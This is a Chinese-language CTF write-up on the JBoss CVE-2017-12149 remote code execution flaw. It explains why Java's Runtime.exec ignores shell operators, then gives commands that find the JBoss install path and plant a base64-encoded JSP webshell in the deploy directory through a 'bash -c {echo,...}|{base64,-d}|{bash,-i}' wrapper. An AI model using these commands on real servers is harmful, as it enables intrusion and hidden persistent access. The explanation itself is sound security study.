谈谈JBOSS的CVE-2017-12149
这个漏洞当初在打CTF的实网攻防的时候遇到了,很开心的直接RCE了。但是当初的我们实在是太过青涩,不懂得JAVA命令执行的奥妙,导致没法Getshell进入内网拿到更多的flag。今天就旧事重提,谈谈这个漏洞如何Getshell或者正确的RCE
Java Runtime.getRuntime().exec
我想这个东西是导致我们无法正常Getshell的原因,因为它是在太过特殊了,于是我们先来弄清楚这玩意究竟为什么阻挠了我们命令拼接
首先我们的测试语句是这样的:
echo 233 233 233 && echo 233 233 233
进入java调试环节
因为传入的字符串,所以进入了
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
这里面
于是出现了第一个非常重要的点:StringTokenizer
他会将传入的command按照\t \n \r \f
进行分割
StringTokenizer st = new StringTokenizer(command);
具体在这写明分割的字符:
处理后cmdarray
就成为了这样:
后面进入:
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
也就是说,exec内部调用了ProcessBuilder的start
由于实网环境是Linux,所以分析Linux的处理流程,跟上面的windows环境无关了
而ProcessBuilder.start
内部又调用了ProcessImpl.start
在这里面又出现了一个第二个很重要的事情,他将解释为什么我们的命令无法拼接:
程序把cmdarray
第一个参数(cmdarray[0]
)当成要执行的命令,把其后的部分(cmdarray[1:]
)作为命令的参数转换成byte 数组 argBlock
(具体规则是以\x00进行implode)。
大概比较重要的就是这么一段:
for(int i=0;i<args.length;i++){
args[i]=cmdarray[i+1].getBytes();
size+=args[i].length
}
后续ProcessImpl.start
最后又会把处理好的参数传入UNIXProcess
(Linux下)
UNIXProcess
内部又调用了forkAndExec
方法
而forkAndExec
是一个native
方法:
在开发者的眼中prog
是要执行的命令即 echo
,argBlock
都是传给 echo
的参数即2333\x00&&\x002333
且传给 echo
的参数个数argc是4
到这里我们应该就能"恍然大悟"了,如果你传入的是个字符串,那么& |
这种符号都会变成参数,而不是特殊的shell符号
实际上,总的来说,
exec*
系列大部分情况下可以认为是只执行prog+参数
列表形式,不存在解析shell语法
,自然就不能把& |
当做特殊的符号对待了
知道了这些后,就能找到当时写webshell我们老是想着echo base64编码后的webshell|base64 -d > 1.jsp
一直失败的原因了
写入Webshell
发现你的JBOSS绝对路径
记得使用的时候也编码一下,找个编码网站就行
find / -name 'favicon.ico' 2> /dev/null
找到JBOSS路径后,就可开始写webshell了
写入webshell
Webshell Base64 Encode,比如:
echo Webshell_base64_encode|base64 -d > Jboss_absolute_path/server/default/deploy/ROOT.war/1.jsp
一般写入Webshell的路径为:Jboss_absolute_path/server/default/deploy/ROOT.war
之后利用编码网站进行编码,最后写入就可以了
一般是这个形式
bash -c {echo,这段话的base64_encode(echo Webshell_base64_encode|base64 -d > Jboss_absolute_path/server/default/deploy/ROOT.war/1.jsp)}|{base64,-d}|{bash,-i}
Webshell的路径在
网站根目录
参考
https://xz.aliyun.com/t/7046
漂亮鼠知识星球